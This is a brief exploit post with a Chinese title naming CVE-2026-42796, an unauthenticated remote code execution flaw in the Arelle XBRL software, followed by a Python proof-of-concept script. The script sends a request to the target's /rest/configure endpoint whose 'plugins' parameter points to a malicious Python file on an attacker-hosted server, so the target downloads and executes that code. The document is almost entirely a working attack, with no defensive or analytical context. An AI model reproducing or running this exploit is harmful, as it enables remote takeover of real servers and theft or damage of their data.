CVE-2026-42796 Arelle未认证远程代码执行漏洞

import requests # Target URL of the vulnerable Arelle instance target_url = "http://target-ip:80/rest/configure" # URL where the malicious Python plugin is hosted malicious_plugin_url = "http://attacker-server/malicious_exploit.py" # Construct the payload by sending the plugins parameter params = { "plugins": malicious_plugin_url } try: # Send the request to trigger the vulnerability response = requests.get(target_url, params=params, timeout=10) if response.status_code == 200: print("[+] Payload sent successfully. The target should download and execute the code.") else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[-] An error occurred: {e}")